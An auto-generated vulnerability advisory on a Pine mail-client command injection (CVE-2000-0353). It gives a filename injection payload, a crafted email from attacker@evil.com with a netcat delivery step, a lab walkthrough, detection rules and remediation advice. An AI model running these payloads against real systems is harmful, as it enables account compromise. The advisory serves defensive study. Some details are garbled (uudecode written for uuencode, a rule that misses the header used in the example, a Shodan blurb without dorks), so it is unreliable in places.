CVE-2000-0353
Executive Summary
CVE-2000-0353 is a critical remote command execution (RCE) vulnerability in the University of Washington's Pine email client, specifically affecting versions 4.x prior to 4.22. The vulnerability carries a CVSS 2.0 score of 10.0 (Critical), reflecting its severity and ease of exploitation. A remote, unauthenticated attacker can exploit this flaw by sending a specially crafted email to a user. When the victim views or interacts with a malicious attachment or MIME part within the vulnerable Pine client, Pine improperly constructs a shell command to invoke an external viewer (like lynx). This allows shell metacharacters embedded in the email's MIME headers (e.g., the filename) to be executed as commands on the victim's system with the privileges of the user running Pine.
The impact is a full compromise of the user's account, leading to arbitrary code execution, data theft, and potential lateral movement within the network. An official patch has been available for over two decades in Pine version 4.22. It is imperative that any remaining instances of vulnerable Pine versions be upgraded immediately or decommissioned and replaced with modern, supported email clients.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS 2.0 Score: 10.0 (Critical)
- Vector:
AV:N/AC:L/Au:N/C:C/I:C/A:C
This score represents the highest possible risk level for the following reasons:
- Attack Vector (AV): Network (N): The vulnerability can be exploited remotely over a network by simply sending an email. No local or physical access is required.
- Attack Complexity (AC): Low (L): The exploit requires no special conditions or complex techniques. An attacker only needs to craft a malicious email and send it to a target.
- Authentication (Au): None (N): The attacker does not need to be authenticated to the target system or service.
- Confidentiality (C): Complete (C): Successful exploitation allows the attacker to read any data accessible to the user, including emails, local files, and credentials.
- Integrity (I): Complete (C): The attacker can modify or delete any data the user has access to, as well as install malicious software like backdoors or ransomware.
- Availability (A): Complete (C): The attacker can execute commands that render the user's account or the entire system unusable (e.g., by deleting system files or terminating processes).
The combination of network-based exploitation, low complexity, and complete system compromise justifies the maximum severity rating.
Deep Dive & Mechanics
The root cause of CVE-2000-0353 is a classic OS Command Injection vulnerability. It stems from Pine's handling of external programs, known as "viewers," used to display non-text email attachments (like HTML).
When a user attempts to view an attachment, Pine constructs a command-line string to execute the appropriate viewer. This string is built by concatenating a base command (e.g., lynx -dump) with user-controllable data, such as the attachment's filename. The vulnerability occurs because Pine fails to sanitize or escape shell metacharacters within this data before passing the entire string to a shell interpreter (like /bin/sh).
Exploit Chain:
- Crafting the Payload: An attacker creates a multipart email. One of the MIME parts is crafted with a malicious
filenamein itsContent-TypeorContent-Dispositionheader. - Payload Structure: The filename is not a real filename but a sequence of shell commands. A common public exploit used a filename like:
This filename string does the following:";uudecode -o /tmp/x EXPLOIT_DATA; sh /tmp/x; rm /tmp/x; echo "owned;: Terminates the preceding (and likely failing)lynxcommand.uudecode ...: Decodes a payload from the email body and writes it to a script file/tmp/x.sh /tmp/x: Executes the malicious script.rm /tmp/x: Cleans up the script file.echo "owned: A simple placeholder for visual confirmation.
- Delivery: The attacker sends this email to a victim using a vulnerable version of Pine.
- Execution: When the victim opens or previews the malicious attachment, Pine constructs a command similar to this:
/usr/bin/lynx -dump ";uudecode -o /tmp/x ...; sh /tmp/x; ..." - Compromise: The system's shell processes this string. It sees the semicolon and treats the subsequent strings as separate commands to be executed sequentially, leading to RCE.
Vulnerable vs. Patched Code
The exact code is not available, but the logic can be demonstrated with hypothetical C code examples. The vulnerability lies in using functions like system() with unsanitized, concatenated strings.
Vulnerable Code Example
The vulnerable implementation would likely use sprintf to build a command string and then pass it to system().
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void displayAttachment(char *viewer, char *filename) {
char command[1024];
// UNSAFE: Filename is concatenated directly into the command string.
// If filename is "; rm -rf /", disaster ensues.
sprintf(command, "%s \"%s\"", viewer, filename);
printf("Executing command: %s\n", command);
system(command); // The command string is passed to a shell.
}
Patched Code Example
A patched version would avoid passing a command string to a shell. Instead, it would use functions like execv or execle that take arguments as a separate list, preventing the shell from interpreting metacharacters in the arguments.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void displayAttachment_patched(char *viewer, char *filename) {
pid_t pid = fork();
if (pid == 0) { // Child process
// SAFE: Arguments are passed in an array.
// The 'filename' is treated as a single, literal argument,
// even if it contains spaces, semicolons, or backticks.
char *args[] = {viewer, filename, NULL};
execv(viewer, args);
// execv only returns if an error occurred
perror("execv");
exit(1);
} else if (pid > 0) { // Parent process
// Wait for child process to complete
wait(NULL);
} else { // Fork failed
perror("fork");
}
}
Exploitation & Lab Setup
Disclaimer: This information is for educational and ethical testing purposes only.
Lab Environment
- Victim Machine: A virtual machine running a legacy Linux distribution (e.g., Debian 3.0, Red Hat 7.0) with Pine version 4.21 installed.
- Attacker Machine: Any system with tools to craft and send raw emails, such as
netcator a simple Python script.
Exploitation Steps
Create the Payload Script: On the attacker machine, create a simple script to be executed on the victim, e.g.,
payload.sh.#!/bin/sh # Simple payload to create a file in /tmp as proof of execution echo "CVE-2000-0353 exploited by $(whoami) at $(date)" > /tmp/pwned.txtUUencode the Payload:
uudecode payload.sh > payload.uueCraft the Malicious Email: Create a text file (
malicious.eml) containing the raw email with the crafted MIME part. The filename in theContent-Typeheader contains the injection.From: attacker@evil.com To: victim@localhost Subject: Important Document MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="BOUNDARY" --BOUNDARY Content-Type: text/plain Please see the attached document. --BOUNDARY Content-Type: text/html; name="; uudecode -o /tmp/p.sh; sh /tmp/p.sh; rm /tmp/p.sh; echo .txt" Content-Disposition: inline begin 644 payload.sh ... (paste the contents of payload.uue here) ... end --BOUNDARY--Send the Email: Use
netcatto send the email to the victim's SMTP server.nc victim-ip 25 < malicious.emlTrigger the Vulnerability: On the victim machine, run
pineas a user, open the new email, and navigate to the attachment list. Attempting to view the attachment will trigger the command injection.Verify Execution: Check for the existence and content of the
/tmp/pwned.txtfile on the victim machine.
Detection Engineering
Blue Teams can use the following rules to detect attempts to exploit this or similar command injection vulnerabilities.
Sigma Rule (Endpoint Detection)
This rule detects the pine process spawning a shell or another command with suspicious metacharacters, which is characteristic of this exploit.
title: Suspicious Process Execution by Pine Mail Client
id: 5b9c0a3e-4b71-419b-a083-d3c5f87e2211
status: stable
description: Detects the Pine email client spawning a shell or a process with command injection characters, indicative of CVE-2000-0353 or similar vulnerabilities.
author: Valters IT
date: 2023/10/27
references:
- https://nvd.nist.gov/vuln/detail/CVE-2000-0353
logsource:
category: process_creation
product: linux
detection:
selection:
ParentImage|endswith: '/pine'
Image|endswith:
- '/sh'
- '/bash'
- '/ksh'
- '/zsh'
- '/csh'
condition: selection
falsepositives:
- Highly unlikely, as Pine should not normally be spawning interactive shells.
level: critical
tags:
- attack.execution
- attack.t1204.002
- cve.2000.0353
Suricata Rule (Network Detection)
This rule inspects SMTP traffic for email attachments with filenames containing common shell metacharacters.
alert smtp any any -> any any (msg:"ET EXPLOIT UW Pine Command Injection Attempt via Malicious Filename (CVE-2000-0353)"; flow:to_server; classtype:attempted-user; sid:2000353; rev:1; content:"Content-Disposition:"; nocase; content:"filename="; nocase; distance:0; pcre:"/filename\s*=\s*\"[^\"]*[\`\$\(\);\|]/i"; reference:cve,2000-0353;)
Remediation & Mitigation
Due to the age and criticality of this vulnerability, immediate action is required for any systems still running affected software.
Immediate Patching (Primary): The most effective solution is to upgrade to Pine version 4.22 or any later version. Given the age of this software, it is highly recommended to migrate to its modern successor, Alpine, or another actively maintained and supported email client like Thunderbird or Mutt.
Decommissioning: Systems running software from this era are likely unmaintained and vulnerable to numerous other exploits. The best security practice is to decommission these legacy systems and migrate users and data to a modern, secure platform.
Mitigation (If patching/migration is not immediately possible):
- Disable External Viewers: Configure Pine to not automatically use external programs to view attachments. This can typically be done in the
pine.conffile by altering the mailcap or viewer settings. Users would need to save attachments and open them manually and cautiously. - Principle of Least Privilege: Ensure users are not running Pine as a privileged user (e.g., root). The exploit runs with the privileges of the logged-in user.
- System-Level Controls: Use security frameworks like AppArmor or SELinux to create a strict profile for the
pineexecutable, preventing it from spawning shells or writing to unexpected file locations. - Network-Level Filtering: Implement IDS/IPS systems with rules like the Suricata rule provided above to detect and potentially block exploit attempts at the network perimeter.
- Disable External Viewers: Configure Pine to not automatically use external programs to view attachments. This can typically be done in the
[!] This Threat Intelligence report was automatically generated by Valters IT (valtersit.com) Neural Engine.
{/* [Security Hash: BC68911508388AFBBE55CC6C] */}
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.